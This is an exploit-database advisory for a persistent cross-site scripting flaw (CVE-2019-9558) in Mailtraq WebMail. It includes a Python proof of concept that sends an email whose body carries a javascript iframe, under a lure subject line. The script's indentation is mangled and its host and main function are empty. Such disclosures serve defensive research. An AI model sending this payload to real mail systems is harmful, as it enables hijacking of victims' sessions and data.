Mailtraq WebMail Cross Site Scripting

Mailtraq WebMail version suffers from a persistent cross site scripting vulnerability.

MD5 | 174591c0b08c18f2b26d96fb249e1750

# Exploit Title: Persistent Cross Site Scripting (XSS) - Mailtraq WebMail version
# CVE: CVE-2019-9558
# Exploit Author: Aloyce J. Makalanga
# Contact: <>
# Vendor Homepage:
# Category: webapps
# Attack Type: Remote
# Impact: Data/Cookie hijacking

1. Description

Mailtraq WebMail version has Persistent Cross Site
> Scripting (XSS) via the body of an e-mail message. To exploit the
> vulnerability, the victim must open an email with malicious Javascript
> inserted into the body of the email as an iframe.

2. Proof of Concept
#!/usr/bin/env python -tt
# -*- coding: utf-8 -*-

# Import modules
import smtplib

def trigger_persistence_xss():
email_addr = '[email protected]'
email = 'From: %s\n' % email_addr
email += 'To: %s\n' % email_addr
email += 'Subject: Your PayCheck\n'
email += 'Content-type: text/html\n\n'
email += "<IFRAME SRC='javascript:alert('XSS');'></IFRAME>"
s = smtplib.SMTP('', 25)
s.sendmail(email_addr, email_addr, email)

def main():

if __name__ == '__main__':

Related Posts